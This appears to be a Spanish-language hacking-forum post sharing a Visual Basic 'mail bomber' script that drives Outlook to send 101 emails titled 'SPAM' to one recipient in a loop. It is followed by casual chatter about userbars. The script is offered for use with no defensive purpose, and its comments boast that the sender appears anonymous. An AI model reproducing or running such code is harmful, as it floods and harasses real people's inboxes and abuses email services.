MAIL BOMBER (bombardeador de emails!)
Option Explicit
Dim oOApp As Outlook.Application 'Declaramos
Dim oOEmail As Outlook.MailItem 'Declaramos
Private Sub Command1_Click()
For i = 0 To 100 'establecemos el contador
Set oOApp = CreateObject("Outlook.Application")
Set oOEmail = oOApp.CreateItem(olMailItem)
With oOEmail
.To = "email @hotmail.com" 'destinatario
.Subject = "SPAM" ' asunto
.Body = "texto" ' texto
.Send 'enviar, el autor me sale anonimo ;)
End With
Next i ' enag hasta 100
End Sub ' By H4NG3R
pd: no se si se colapsara el outlook pero en pirncipio va!
pd2: tio create tus userbars k mola mas

mira la de catalaicule donde esta jajja
enga ns vemos

li*il